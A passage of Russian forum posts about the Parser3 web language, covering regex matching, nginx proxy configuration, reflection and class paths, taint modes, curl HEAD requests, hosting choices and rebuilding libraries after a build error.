# и так я пробовал но тут жадность вторых скобок съедает все последующее\
$tab[^txt.match[(\\n-*>)(.*)][g]]\
\
# а так оно не работает (тут похоже как будто ? вообще не работает на жадность)\
# т.к. он по одному символу приносит, т.е. синтаксис ? в других случаях) \
$tab[^txt.match[(\\n-*>)(.*?)][g]]\
\
# думал может вот так жадность пристроить, но нет\
$tab[^txt.match[((\\n-*>)(.*)?)][g]]\
\
# отчаялся, решил, что ок, пусть \"---\" тоже войдет в match\
# и я задействую работающую регулярку из rsplit, только поменяю .+ на .*\
$sRegex[\\n-*>]\
$tab[^t3g-text.match[(.*?)(?:$sRegex|^$)][g]]\
\
как бы... да но, оно выдает доп.паразитную пустую строку в $tab\
(в конце видимо)\
\
т.е. в $tab должно (вкупе с \"---\") попасть 8 строк, а там 9 \
[/code]\
\
В итоге вопроса два:\
1) Как правильно (когда delimiter не \"между\", а всегда \"перед\") и почему у меня не выходит сделать шаблон с \"предваряющим\" разделителем.\
\
2) Откуда доп.пустой match в rsplit-результате\
\
Спасибо."
"85981","Нескольких записей в исходном виде и необходимого результата."
"85982","*Я видел ваш комментарий к PCRE Приложение4 в документации, где утверждалось и отменялось заявление, что символ конца строки не учитывается у regexp оператора \".\" (и похоже как будто что-то все таки не так, или я не понимаю как это работает) \
\
1) Входной файл:\
[code]\
#---тело файла---\
---\
>line\
->line2\
-->line3\
--->line4\
still line4 content\
>\
>\
->\
#---/тело файла ---\
[/code]\
\
2) На выходе:\
(в идеале такая таблица)\
[code]\
+-----+-----+-----------------------+\
| pos | pfx |        match          | \
+-----+-----+-----------------------+\
|  0  | >   | line                  |\
+-----+-----+-----------------------+\
|  1  | ->  | line2                 |\
+-----+-----+-----------------------+\
|  2  | --> | line3                 |\
+-----+-----+-----------------------+\
|  3  | --->| line4                 |\
|     |     | still line4 content   |\
+-----+-----+-----------------------+\
|  4  | >   |                       |\
+-----+-----+-----------------------+\
|  5  | >   |                       |\
+-----+-----+-----------------------+\
|  6  | ->  |                       |\
+-----+-----+-----------------------+\
[/code]\
\
*Никаких особых 0D0A, 0x00 и utf8-гремлинов, в виде похожих скобочек и тире - нет.\
Все символы строго ASCII, уживающиеся в однобайтной кодировке.\
Символ переноса всегда 0A\
\
Мне казалось, что задача должна укладываться в regex-delimeter, решенный дважды оператором rsplit т.к. если смотреть на всё, как цепочку байт то получается вполне понятная (и казалось бы простая задача).\
\
Исходный файл выглядит, как (пробелы я для читаемости поставил)\
[code]\
--- 0A > line 0A -> line2 0A --> line3\
\
итого получается, что между полезными записями всегда разделитель вида\
$sRegex[\\n-*>]\
\
а первый и всегда ожидаемый кусок с \"---\" мы можем выкидывать, это не проблема.\
\
но подставив такое в rsplit (в котором будет вместо .* вместо .+ для записей (чтобы пустые значения тоже ловило) - мы получаем какие-то паразитные пустные значения в конце.\
[/code]"
"85983","Если задача в разложении по строкам и удалении префиксов, то всё элементарно:\
[code]$text[>line\
->line2\
-->line3\
--->line4\
still line4 content\
>\
>\
->]\
$table[^table::create[nameless]{$text}]\
^table.menu{$table.0[^table.0.trim[start;->]]}[/code]\
\
На выходе таблица с чистыми строками.\
\
Если первая строка с тремя дефисами всегда присутствует и не нужна — удалить перед перебором:\
[code]^table.delete[]\
^table.menu{…\
[/code]\
\
Но похоже, что вы, описывая тонкости реализации, недостаточно описываете суть задачи."
"85984","Здесь не просто одна запись в одной строке, запись может продолжится и на сл.строках вплоть до границы сл.записи. (в общем в обоих предыдщих примерах я это показал)\
\
Ваш код разделит\
[code]\
line4\
и\
still line4 content\
[/code]\
в разные строки результирующей таблицы, а так не надо.\
*Но за подсказку о возможности trim отрезать произвольное число лидирующих символов, отдельное спасибо.\
\
У меня привязка жестко к паттерну-начала записи [b]\\n(-*)>[/b]\
и далее тело записи должно \"слепо идти\" вплоть до сл.такого паттерна (который начинает тело сл.записи) и т.д.\
\
более того внутри записи могут произвольно встречаться как и \\n так и \"-\" дефисы, так и \">\" (но не в той последовательности, чтобы соответствать признаку начала записи, разумеется).\
\
**Слово line похоже сбивает с мысли, заменю его на text\
\
Т.е. возможен такой вид\
1) Исходного файла\
[code]\
# тело файла\
---\
>text1\
->text2 >-< still text2\
-->text3\
text3 continued >>>\
till here\
>\
->\
# /тело файла\
[/code]\
\
2) Результат нужен\
[code]\
+---+----+----------------------+\
|pos|pfx | content              |\
+---+----+----------------------+\
| 0 |>   |text1                 |\
+---+----+----------------------+\
| 1 |->  |text2 >-< still text2 |\
+---+----+----------------------+\
| 2 |--> |text3                 |\
|   |    |text3 continued >>>   |\
|   |    |till here             |\
+---+----+----------------------+\
| 3 |>   |                      |\
+---+----+----------------------+\
| 4 |->  |                      |\
+---+----+----------------------+\
[/code]\
\
P.S.: Я могу сделать всё через простой split и рекурсию, но хочу через regexp (но чет не могу)."
"85985","[code]$text[---\
>text1\
->text2 >-< still text2\
-->text3\
text3 continued >>>\
till here\
>\
->]\
\
^text.match[\\n(-*>)((?:(?!\\n-*>).)*);g][/code]\
\
Фактически, нужно, чтобы после маркера начала записи совпало что угодно до следующего маркера.\
Но если маркер многосимвольный, да ещё изменяющийся, простой символьный класс уже не поможет."
"85986","Спасибо!\
\
Все это оставляет во фрустрации и укрепляет во мнении, что у регулярок не такой уж понятный конечный автомат, а напротив много \"скрытой магии\" которая кроется за их особенностями и выдает далеко не самые очевидные результаты.\
\
Мне вот до сих пор непонятно.\
Почему код из rsplit (Misha v3) где я лишь заменил .+ на .*\
вида:\
\
[code]\
$text[---\
>text1\
->text2 >-< still text2\
-->text3\
text3 continued >>>\
till here\
>\
->\
\
]\
\
$delimiter[\\n-*>]\
^text.match[(.*?)(?:$delimeter|^$)][g]]\
[/code]\
\
Выдает \
[code]\
| pos | .. | 1                     |\
+-----+----+-----------------------+\
|  0  |    | ---                   |\
+-----+----+-----------------------+\
|  1  |    | text1                 |\
+-----+----+-----------------------+\
|  2  |    | text2 >-< still text2 |\
+-----+----+-----------------------+\
|  3  |    | text3                 |\
|     |    | text3 continued >>>   |\
|     |    | till here             |\
+-----+----+-----------------------+\
|  4  |    | <empty>               |\
+-----+----+-----------------------+\
|  5  |    | 0A0A                  |\
+-----+----+-----------------------+\
|  6  |    | <empty>               |\
+-----+----+-----------------------+\
[/code]\
\
Т.е. все правильно вплоть до 5ой строки (где запись не пустая технически, а из двух переносов), но в конце появляется паразитная 6-ая пустая... откуда... понять не дано.\
\
P.S.: И мне это не дает покоя, т.к. я не знаю что происходит и можно ли опираться на такое (слепо отрезая последнюю строку - или поведение может измениться)"
"85987","[quote]Т.е. все правильно вплоть до 5ой строки (где запись не пустая технически, а из двух переносов), но в конце появляется паразитная 6-ая пустая... откуда... понять не дано.[/quote]\
\
Это что угодно, в том числе ничего ([i](.*?)[/i]) перед концом строки.\
Если бы там был квантификатор [i]+[/i], то не совпадало бы.\
Но тогда и строка с маркером без значения ([i]>[/i]) тоже не совпала бы."
"85988","Может подскажите проверенное средство отладки регулярок, потому, что я надеясь, что все таки оставаясь в рамках PCRE(1) - можно надеяться на более/менее одинаковый результат, но у меня работающий ваш пример из треда (с опережающей негативной проверкой)отлично работает в Парсере, но в таком отладчике https://regex101.com/r/wUMpB4/1 (это сохранённый пример)- не работает корректно.\
\
\
Строка text3 обрывается и не захватывается полностью, хотя отладчик вроде популярный и претендует на реализации всех популярных имплементаций regexp, надо полагать глючный? Или регулярки это все таки зыбкая история?"
"85989","[quote]у меня работающий ваш пример из треда (с опережающей негативной проверкой)отлично работает в Парсере, но в таком отладчике https://regex101.com/r/wUMpB4/1 (это сохранённый пример)- не работает корректно[/quote]\
\
Включите опцию [i][url=https://regex101.com/r/gMfLM1/1]s (Dot matches newline)[/url][/i].\
«[url=https://www.parser.ru/docs/lang/app4.htm]Точка по умолчанию совпадает и с символом новой строки[/url]».\
\
Или замените [i].[/i] на [i](?:.|\\n)[/i].\
\
[quote]Может подскажите проверенное средство отладки регулярок[/quote]\
\
Не пользуюсь.\
Знаю, про regex101 и подобные, но они больше мешают, чем помогают.\
\
Лучший отладчик — интерпретатор языка.\
Лично я проверяю прямо в Парсере.\
[url=https://github.com/gzzz/parser/tree/master/executor]Небольшая утилита[/url] может упростить запуск простых скриптов."
"85991","Сделал изменение $request:document-root в зависимости от хоста, но теперь не отрабатывают RewriteRule из .htaccess.\
\
Как я понимаю, .htaccess не используется при таком подходе.\
\
[b]Можно ли, используя встроенный веб-сервер, \"запускать\" сайт, как через апач, т.е. чтобы отрабатывал .htaccess и т.д.?[/b]"
"85992","[i].htaccess[/i] обрабатывает Apache.\
Следовательно, нужно, чтобы он получил запрос, отрерайтил его по правилам и передал серверу Парсера — нужно проксировать запрос.\
\
Понадобится [i][url=http://httpd.apache.org/docs/2.2/mod/mod_proxy.html#proxypass]mod_proxy[/url][/i], который работает только на уровне конфигурации (не в [i].htaccess[/i], [i]context: server config, virtual host, directory[/i]) и, скорее всего (не проверял), перенос всех рерайтов туда же.\
\
По-моему, проще переписать рерайты на Парсере и отказаться от Apache."
"85993","У меня nginx на Windows."
"85994","Вот например как это было на parser.ru.\
\
Рирайты в .htaccess:\
RewriteRule ^en/(.*)     /$1?lang=en [PT,QSA]\
RewriteRule ^forum/([0-9]+)/ /_doc.html?request=/forum/&id=$1 [L,QSA]\
RewriteRule ^(topics|messages)\\.(rdf)$ /rss/$1.$2 [L,QSA]\
\
Превратились в парсерный код в httpd.p:\
[code]$uri[^uri.match[^^/en/][]{/$form:lang[en]}]\
$uri[^uri.match[^^/forum/([0-9]+)/][]{/forum/$form:id[$match.1]}]\
$uri[^uri.match[^^/((topics|messages)\\.rdf)^$][]{/rss/$match.2}]\
[/code]"
"85995","Он лишь проксирует запросы к Apache и про рерайты в [i].htaccess[/i] знать не знает."
"85996","Давайте добавим поддержку markdown-разметки в дополнение к BBCode?\
Готов поучаствовать в доработке.\
\
Очень не хватает inline-кода через обратный апостроф.\
\
И ещё форум долгие годы не поддерживает массу Unicode-символов, те же стрелки: &#8592;&#8594;&#8593;&#8595;."
"85997","httpd.p надо создавать для каждого сайта свои или в одном разруливать по $env:SERVER_NAME?\
\
Просто в парсере при установке нет примера httpd.p."
"85998","Если nginx не может работать с парсером нормально, то можно как-нибудь использовать встроенный веб-сервер, чтобы .htaccess отрабатывал, как с апачем?"
"85999","Хотите чтобы работал .htaccess - используйте apache, это его конфигурационный файл и понимает его только он."
"86000","Поскольку сайт исторически работает в Windows-1251. \
Поменял на UTF-8, посмотрим что сломается. :)\
← ← ← ← ←"
"86001","В сообщении отображаются нормально, а в уведомлениях об ответах по почте приходят по-старому:\
[quote]Поменял на UTF-8, посмотрим что сломается. :)\
&#8592; &#8592; &#8592; &#8592; &#8592;'[/quote]"
"86002","[quote]Если nginx не может работать с парсером нормально[/quote]\
\
nginx прекрасно работает с Парсером, как и с другими приложениями, но он не умеет запускать CGI-приложения, которым является Парсер, и либо требуется FCGI-CGI-обёртка, либо nginx используется только в качестве прокси-сервера, а обёрткой выступает другой сервер, тот же Apache.\
\
Не совсем понятно зачем вам nginx локально вообще.\
\
[quote]можно как-нибудь использовать встроенный веб-сервер, чтобы .htaccess отрабатывал, как с апачем?[/quote]\
\
Можете написать свой парсер ModRewrite (предполагаю, что .htaccess у вас используется именно для маршрутизации) и на лету переводить маршруты на язык Парсера.\
Но на практике этим совершенно бессмысленно заниматься.\
\
Проще разово переписать правила, сколько бы их ни было, на Парсер и отказаться от Apache.\
Ну, если уж вы решили пользоваться встроенным сервером Парсера."
"86003","Раньше я использовал апач, а на продах всегда был nginx, поэтому иногда возникали проблемы, т.к. у этих серверов разное окружение.\
\
Если работа идет в пхп, то на винде nginx работает нормально, поэтому я хотел докинуть парсер, чтобы все работало через nginx, как на продах."
"86004","Поменял и там.\
→ → → → → → →"
"86005","[quote]Если работа идет в пхп, то на винде nginx работает нормально, поэтому я хотел докинуть парсер, чтобы все работало через nginx, как на продах.[/quote]\
\
С этим нет никаких проблем.\
nginx будет проксировать запросы серверу Парсера.\
\
Если не хотите описывать маршруты в Парсере (вероятно, на продакшне вы не используете его встроенный сервер), можете вынести маршрутизацию в nginx.\
Его система локейшнов и рерайтов проще и удобнее правил Apache.\
\
Есть даже простые конвертеры рерайтов.\
https://winginx.com/en/htaccess\
https://www.nginx.com/blog/converting-apache-to-nginx-rewrite-rules/"
"86006","Спасибо."
"86007","Находил только примеры с [b]fastcgi_pass[/b] под линукс, но у меня винда.\
\
Если можно запустить веб-сервер парсера и использовать его в [b]nginx[/b], то я перепишу [b]RewriteRule[/b] или воспользуюсь аналогами в [b]nginx[/b].\
\
Как в конфиге виртуального хоста [b]nginx[/b] прописать, что парсер должен быть обработчиком?"
"86008","[quote]Как в конфиге виртуального хоста nginx прописать, что парсер должен быть обработчиком?[/quote]\
\
В проксировании указать порт, который слушает сервер Парсера."
"86009","[quote]В проксировании указать порт, который случает сервер Парсера.[/quote]\
В этом и проблема: я не нашел рабочих примеров.\
\
Есть сайт из пары страниц на парсере, который работает через [b]Apache[/b].\
В [b]nginx[/b] тоже создан хост для этого сайта, но без обработчика выводится текст файла [b]index.html[/b].\
\
В конфиге [b]nginx[/b]:\
[code]server {\
	listen 81;\
	server_name site.local *.site.local;\
	root \"Путь до корневой папки/\";\
\
	index index.html;\
\
	location ~ \\.html$ {\
		fastcgi_pass  localhost:8000;\
	}\
}[/code]\
Парсер запущен:\
[code]cgi-bin\\parser3.cgi -p localhost:8000[/code]\
\
В итоге сайт не грузится вообще через [b]nginx[/b].\
\
Заменил\
[code]fastcgi_pass  localhost:8000;[/code]\
на\
[code]proxy_pass http://localhost:8000;[/code]\
\
В этом случае [b]SERVER_NAME[/b] всегда localhost.\
Пока единственное решение - это\
[code]proxy_pass http://site.local:8000;[/code]\
\
Т.е. для каждого сайта в конфиге [b]nginx[/b] надо писать проксирование на точно такой же хост на порту 8000.\
\
[b]Правильно ли я понял мысль о проксировании запросов к парсеру?[/b]"
"86010","[code]\
proxy_pass            localhost:8000;\
proxy_set_header Host $host;\
[/code]\
\
Не помешает и IP передать:\
[code]proxy_set_header X-Real-IP       $remote_addr;\
proxy_set_header X-Forwarded-For $remote_addr;[/code]\
\
И разумеется нужно использовать [i]proxy_pass[/i], запросы ведь передаются обычному HTTP-серверу, а не FCGI-приложению."
"86011","Сработало, спасибо."
"86013","Добрый день.\
1. В коде часто приходится использовать конструкции:\
[code]^use[путь к классу]\
^Класс::create[]\
или\
^Класс:method[][/code]\
\
С учетом структуры кода удобно использовать [b]reflection[/b], т.к. операции создания классов и вызова методов идут по определенным правилам + это сокращает код.\
\
В связи с этим возникает вопрос: [b]с точки зрения нагрузки нормально ли использовать reflection и вообще не использовать ^use[] отдельно?[/b]\
\
2. Если ответ на вопрос из п.1 - да, то возникает второй вопрос: [b]как при создании класса или вызова его метода работать с относительным путем класса?[/b]\
Пример: есть папка с \"компонентом\", который должен работать в любом месте.\
[code]/lib/lib1 - класс, где определен метод создания класса через reflection \
/test/type1/class1 - класс, в котором надо создать class2 по относительному пути\
/test/type2/class2[/code]\
\
Если использовать reflection, то получается, что в lib1 передается относительный путь к class2, но относительно class1, а lib1 рассматривает этот путь относительно себя.\
\
Использование полного пути к классу class1 выдает ошибку: [b]usage failed - no $MAIN:CLASS_PATH were specified[/b]\
[code]^use[^file:dirname[^reflection:filename[$self]]/../type2/class2.p][/code]\
\
Можно из полного пути к class1 вырезать путь к корню веб-пространства, но в теории должен быть более простой способ."
"86014","[quote]1. В связи с этим возникает вопрос: с точки зрения нагрузки нормально ли использовать reflection и вообще не использовать ^use[] отдельно?[/quote]\
\
Если [i]@reflection[/i] вызывается не тысячу раз в цикле, то никаких проблем, разовая операция.\
\
Больше смущает сложность логики — с таким потом очень непросто работать.\
У меня есть пара мест, где используется свойство с [i]^reflection:filename[$self][/i], но это вынужденная мера, в очень хитрой и динамической иерархии классов с модульностью и «множественным наследованием» и в целом такого лучше избегать.\
\
[quote]2. Если ответ на вопрос из п.1 - да, то возникает второй вопрос: как при создании класса или вызова его метода работать с относительным путем класса?[/quote]\
\
Посмотрите в сторону [i][url=https://www.parser.ru/docs/lang/defineclass.htm]@autouse[/url][/i].\
Там можно заложить любую логику, которая будет срабатывать при поиске класса.\
\
Также можно положить путь в статическое поле класса при загрузке в методе [i]@auto[/i] — получится разовое динамическое определение расположения файла:\
[code]@auto[filename]\
$self.filename[$filename][/code]\
\
В целом, без работающего примера, детали вопроса неясны.\
Но, зная размещение текущего класса, можно строить любой относительный путь для вызовов."
"86015","Имя создаваемого класса известно.\
Его расположение относительно текущего класса известно.\
\
Суть в том, чтобы можно было переместить компонент в другое место, но при этом сам компонент не надо было бы переписывать, т.к. работа идет с относительными путями.\
\
reflection:filename выдает полный путь, поэтому приходится реплейсить $request:document-root.\
Получение пути к классу пока получилось сделать так:\
[code]$path[^file:dirname[^reflection:filename[$caller.CLASS]]]\
$path[^path.replace[$request:document-root;]/$relative_path][/code]"
"86016","Это сильно увеличивает вероятность помощи.\
\
Кладу в [i]document-root[/i] [url=https://www.dropbox.com/s/hlq2dj69rnx5h1k/use.zip?dl=1]файлы[/url].\
Вызываю [i]use.html[/i]:\
[code]i'am the module, i'am the test2[/code]\
\
То есть, при загрузке по относительным путям нет никаких проблем: [i]use.html[/i] загружает лежащий рядом [i]test.p[/i], тот вызывает [i]module/module.p[/i], модуль вызывает [i]test-2.p[/i] из родительской директории — все вызовы относительные.\
\
К слову, [url=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup]в тестах описана базовая логика @use[/url], которую, при необходимости, легко изменить, переопределив оператор.\
Относительный путь там [url=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup#l19]формируется из полного отрезанием $document-root[/url]."
"86021","Предлагаю удалять ветки, авторы которых в разумные сроки не в состоянии сообщить о результатах: помогло ли что-либо из предложенного и как именно они решили свою проблему. Если решить проблему не удалось и она актуальна, то про это тоже неплохо сообщать — последователи могут помочь.\
\
Примеры: [url=https://www.parser.ru/forum/?id=86019]Почему не работает? :) ^form:fields.foreach[/url], [url=https://www.parser.ru/forum/?id=86013]reflection: нагрузка и относительные пути[/url].\
\
Такие обсуждения вредны — кто-то, столкнувшись с подобным, найдёт их и впустую потратит время на изучение, не обнаружив информации о решении."
"86022","Хотя во втором случае первые два сообщения я бы оставил."
"86023","Раз мы за поиск :) Если кому вдруг будет нужен минималистичный CardDAV сервер на парсере для выгрузки адресной книги организации - обращайтесь. В библиотеке такое не нужно, а для поиска достаточно сообщения в форуме.\
\
https://en.wikipedia.org/wiki/CardDAV (API для работы с vCard)\
\
P.S. Так и не решил, органичнее в виде таблицы или хешом:\
\
[code]$ROUTE[\
    $.[OPTIONS ][options]\
    $.[PROPFIND /^$][root]\
    $.[PROPFIND /.well-known/carddav^$][root]\
    $.[PROPFIND /principals/users/$USER/^$][root]\
    $.[PROPFIND /addressbooks/$USER/^$][addressbooks]\
    $.[PROPFIND /addressbooks/$USER/intranet/^$][addressbook]\
    $.[REPORT /addressbooks/$USER/intranet/^$][contacts]\
    $.[GET /addressbooks/$USER/intranet/[0-9]+\\.vcf^$][contact]\
]\
\
$the_request[$request:method $request:uri]\
^ROUTE.foreach[regex;method]{\
    $regex[^taint[clean][$regex]]\
    ^if(^the_request.match[^^$regex]){\
        ^return[^route-$method[$xml]]\
    }\
}\
[/code]"
"86024","Недокументированная опция? Не нашел в документации параметра clean. Это эквивалентно as-is или обратно tainted (но не то же самое что as-is?)"
"86025","Вторую ветку оставил, там есть примеры, может быть полезна.\
Первую удалил."
"86026","https://www.parser.ru/docs/lang/?tainting.htm\
https://www.parser.ru/docs/lang/?reflectiontainting.htm\
\
Отличие clean от as-is в том, что для as-is не делается оптимизация повторяющихся пробельных символов.\
\
И наверное все-таки правильнее было использовать table, не пришлось бы писать тонкость с taint. Для экономии ресурсов ключи хеша, в отличии от остальных строк, не хранят язык, поэтому когда из ключа хеша делается парсерная строка, она для безопасности считается \"грязной\". В 99% случаев это не важно, но вот когда ключ используется в качестве регулярного выражения - это имеет значение."
"86027","Приветствую уважаемое общество! Столкнулся с проблемой следующего характера: формирую xml-файл УПД для передачи через ЭДО, сохраняю его на диск командой [code]^str_file_complete_tained.save[/${upd_file_name}.xml;$.charset[windows-1251]][/code] скармливаю этот документ для проверки сюда [url=\"https://www.diadoc.ru/docs/forms/validation-xml\"]https://www.diadoc.ru/docs/forms/validation-xml[/url]\
получаю сообщение: \"Неверная кодировка файла Загрузите файл с кодировкой windows-1251\" подскажите пожалуйста в чем может быть проблема"
"86030","(https://www.parser.ru/docs/lang/?opuntainttaint.htm) \
...смотрю в *Таблицы преобразований* - там ни слова,  по Ctrl+F ничего не нахожу...\
\
А оно вот где... тогда вопрос в той таблице видов \"красок\" все краски кроме clean перечислены или еще есть какие-то?"
"86031","[quote]А оно вот где... тогда вопрос в той таблице видов \"красок\" все краски кроме clean перечислены или еще есть какие-то?[/quote]\
Других нет.\
\
Кстати, исходные коды парсера открыты и всегда можно поискать в них ответы :)\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/op.C?revision=1.260&view=markup#l57"
"86032","Вот бы нашли свой вопрос поиском, а там предшественник так и пишет: «решил другим путём».\
Полезно?"
"86034","Сама идея сохранять строку в файл была дурацкой при наличии класса XDoc который делает фактически то же самое, но видимо делает немного по другому и судя по всему правильно. Взял тот же текст и как в документации: \
[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
$string_document] \
^document.save[saved.xml] \
[/code]"
"86035","Стараниями [url=\"/forum/members/?id=2822\"]Лёни Князева[/url] опубликован контейнер для запуска парсера в режиме веб-сервера.\
\
[url=\"https://hub.docker.com/r/parser/parser3-httpd\"]https://hub.docker.com/r/parser/parser3-httpd[/url]\
\
В [url=\"https://github.com/parser3/parser3-httpd/tree/master/\"]репозитории[/url] есть [url=\"https://github.com/parser3/parser3-httpd/tree/master/example\"]пример[/url] развертывания сайта с mysql сервером."
"86036","Подскажите, есть ли возможность через curl-класс получить только заголовки ответа, не загружая страницу? Аналог консольного:\
\
[code]curl -I https://example.org[/code]"
"86037","https://www.parser.ru/docs/lang/?curloptionsdesc.htm\
\
nobody	CURLOPT_NOBODY Передать запрос методом HEAD"
"86038","Да, HEAD-запрос в curl — это опция\
[code]$.nobody(true)[/code]"
"86039","Всем спасибо за ответы, но оказалось, что дергать консольный curl напрямую самый быстрый способ. С небольшим отрывом вызов через sh скрипт. Через класс ощутимо медленнее."
"86040","Как именно измеряли?\
\
И какова задача, для решения которой необходимо делать HEAD-запросы «на скорость»?\
\
Выполнение большого количества запросов подряд — верный способ положить сайт (или заработать блокировку).\
Обычно запросы делаются в несколько потоков и с обязательными паузами между запросами каждого потока."
"86041","Мерял известным методом run_time с форума. Задача проверять ссылки собственного (того же) сайта на 200 ответ. В результате замеров проверка была вынесена в очередь по 10шт в минуту."
"86042","[quote]Мерял известным методом run_time с форума.[/quote]\
\
Как это выглядело?\
[code]^run_time{\
	^urls.foreach[url;]{\
		$r[^curl::load[$url]]\
	}\
}[/code]\
vs\
[code]^run_time{\
	^urls.foreach[url;]{\
		$r[^file::exec[curl;$url]]\
	}\
}[/code]\
\
[quote]В результате замеров проверка была вынесена в очередь по 10шт в минуту.[/quote]\
\
Для десяти запросов в минуту не должно быть никакой разницы в «скорости работы» curl'а."
"86043","Тестового скрипта уже нет. Для 10 без разницы действительно. На 20000 одновременно было видно =)"
"86044","[quote]На 20000 одновременно было видно[/quote]\
\
Накладные расходы на вызов консольного приложения много больше времени вызова библиотеки из памяти.\
Особенно, учитывая, что вызов приложения происходит на каждый запрос, а библиотека загружается разово.\
\
Фактически, любые подобные измерения в результате дадут оценку среднего ответа сервера в отдельно взятый период, но не скорости работы кода.\
\
Учитывая на сколько порядков отличаются времена работы одной итерации кода и ожидания-разбора ответа — нет никакой разницы в способе загрузки.\
\
Если это, конечно, не сверхвысокоскоростной канал в одном ДЦ и закрытая система, взаимодействующая внутри себя по HTTP.\
\
А зачем проверять 20 тысяч адресов сайта?"
"86045","Уважаемые коллеги! Расскажите кто каким хостингом пользуетесь, а то что-то хостинг которым я пользуюсь уже долгие годы что-то с каждым днем все хуже... Интересует исключительно положительный опыт. Заранее спасибо всем ответившим."
"86046","[quote]А зачем проверять 20 тысяч адресов сайта?[/quote]\
\
Сеошники иногда могут душу вынуть своими тз..."
"86047","[quote]А зачем проверять 20 тысяч адресов сайта?\
Сеошники иногда могут душу вынуть своими тз...[/quote]\
\
Это не только бессмысленно, но и вредно, так как создаёт существенную пустую нагрузку на сервер. И когда ему действительно будут нужны ресурсы для ответа клиенту, он будет обслуживать тысячи тестовых запросов.\
\
Проверять необходимо по одной странице каждого типа.\
[url=https://wesimo.com/about/#example]И не только доступность[/url]."
"86048","Отечественных хостеров с сопоставимой ценой ресурсов нет.\
\
Но заграница, ДЦ в России нет — может не подойти для обслуживания клиентов в СНГ из-за пинга."
"86050","За три года использования для нескольких сайтов проблем не было.\
Техподдержка не требовалась ни разу.\
\
Но там практически голый сервер — сам себе хозяин."
"86053","Вероятно, помогут.\
Но лучше всё это делать самостоятельно, чтобы не зависеть от техподдержки и не тратить время на объяснения."
"86054","И в nic.ru тоже переносили. Кажется и там, и там на тарифах виртуального хостинга был ssh доступ, а этого обычно достаточно, чтобы запустить парсер с минимальными затратами времени."
"86055","В случае VPS (а тем более физического сервера) подразумевается, что клиент сам себе администратор - сам ставит, сам обновляет, сам заботится о резервном копировании, etc."
"86056","[quote]сам заботится о резервном копировании[/quote]\
\
Есть снэпшоты, для простых проектов их вполне хватает."
"86057","на reg.ru на тарифе \"Host-Lite\" нет поддежки ssh.\
1,5 года назад ее не было ни одном тарифе виртуального хостинга, поэтому я вначале оплатил его, а потом отказался ))\
\
сейчас на beget.com, но у меня там крутится только телеграм бот, сайтов нет, поэтому ничего конкретного не могу сказать"
"86058","https://www.reg.ru/hosting/#econom\
\
\"Доступ по протоколу FTP/SSH (кроме Host-Lite)\". При разнице Host-A/Host-Lite в 4 рубля в месяц и отсутствию на последнем SSL непонятно зачем Host-Lite им вообще нужен."
"86062","Пару сайтов там крутится. Претензий нет"
"86064","Уже больше года. Претензий нет. Лояльная поддержка.\
До этого был на Majordomo. Аптайм низкий стал, ушел."
"86066","Делаю\
[code]\
cd /var/www/cgi-bin/parser3project\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co parser3\
cd parser3\
./buildall --disable-safe-mode --strip\
[/code]\
\
Получаю:\
[code]parser3.o: In function `httpd_mode':\
/var/www/cgi-bin/parser3project/parser3/src/targets/cgi/parser3.C:412: undefined reference to `GC_pthread_create'\
collect2: error: ld returned 1 exit status\
Makefile:433: recipe for target 'parser3' failed\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory '/var/www/cgi-bin/parser3project/parser3/src/targets/cgi'\
Makefile:390: recipe for target 'install-recursive' failed\
make[2]: *** [install-recursive] Error 1\
make[2]: Leaving directory '/var/www/cgi-bin/parser3project/parser3/src/targets'\
Makefile:388: recipe for target 'install-recursive' failed\
make[1]: *** [install-recursive] Error 1\
make[1]: Leaving directory '/var/www/cgi-bin/parser3project/parser3/src'\
Makefile:419: recipe for target 'install-recursive' failed\
make: *** [install-recursive] Error 1\
[/code]\
\
Попробовал сделать чистый checkout — без изменений.\
Ubuntu 16.04.6 LTS."
"86067","В 3.4.6 поменялись опции сборки библиотек, надо их пересобрать.\
\
>cvs log buildall\
\
revision 1.33\
date: 2020-12-11 17:31:24 +0300;  author: moko;  state: Exp;  lines: +1 -3;  commitid: 1005FD382AF19EF955C;\
threads are now required."
"86068","[quote]rm -rf /var/www/cgi-bin/parser3project[/quote]\
\
Не понимаю зачем удалять всю директорию.\
\
[quote]В 3.4.6 поменялись опции сборки библиотек, надо их пересобрать.[/quote]\
\
А как это сделать?\
Библиотеки же берутся из дистрибутива, а [i]buildall[/i] собирает только Парсер."
"86069","Вообще-то в buildall сборка парсера - это последний десяток строк, а до этого идет сборка libgc, libpcre, libxml/libxslt...\
\
>ls parser3project\
\
gc\
gnome\
parser3\
pcre\
src"
"86070","Всё равно не понимаю зачем удалять [i]parser3project[/i].\
\
[url=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/buildall?r1=1.32&r2=1.33&pathrev=HEAD]Были удалены опции сборки[/url], изменился [i]buildall[/i].\
Я сделал чистый checkout [i]parser3[/i] и получил обновлённый [i]buildall[/i]:\
[code]> /var/www/cgi-bin/parser3project/parser3 # grep -c 'threads' buildall\
> 0\
[/code]\
\
Нужно обновить и исходники всех библиотек?"
"86071","Там проверки, если есть собранная версия библиотеки, она не пересобирается. Того, что она собрана с другими опциями - скрипт естественно не знает.\
\
if test ! -f \"$project_dir/gc/lib/libgc.a\"; then"
"86072","[code]\
rm gc/lib/libgc.a\
rm pcre/lib/libpcre.a\
rm gnome/lib/libxml2.a\
rm gnome/lib/libxslt.a\
rm gnome/lib/libglib-2.0.a\
rm gnome/lib/libgmime-2.4.a\
[/code]\
\
Удалил, Parser пересобрался."
"86073","Что-то не соображу как вынести httpd из конфигурационного файла.\
\
Хочется сналача обработать все auto.p, установить CLASS_PATH, загрузить нужные классы и уже потом в @httpd:main[] обработать запрос.\
\
Уношу в файл, загружаемый после auto.p в document-root — httpd class is undefined.\
\
\
Похоже, ответ на мой вопрос, это:\
[code]@OPTIONS\
partial\
\
@auto[]\
^if(-f \"/httpd.p\"){\
	^use[/httpd.p]\
}[/code]\
\
Подгрузкой расширяем класс."
"86074","[quote]Хочется сначала обработать все auto.p, установить CLASS_PATH, загрузить нужные классы и уже потом в @httpd:main[] обработать запрос.[/quote]\
\
В случае отдачи статики это сомнительно с точки зрения производительности.\
\
Более того, ^use была добавлена специальная опция, чтобы загружать auto.p, она используется в классе httpd:\
\
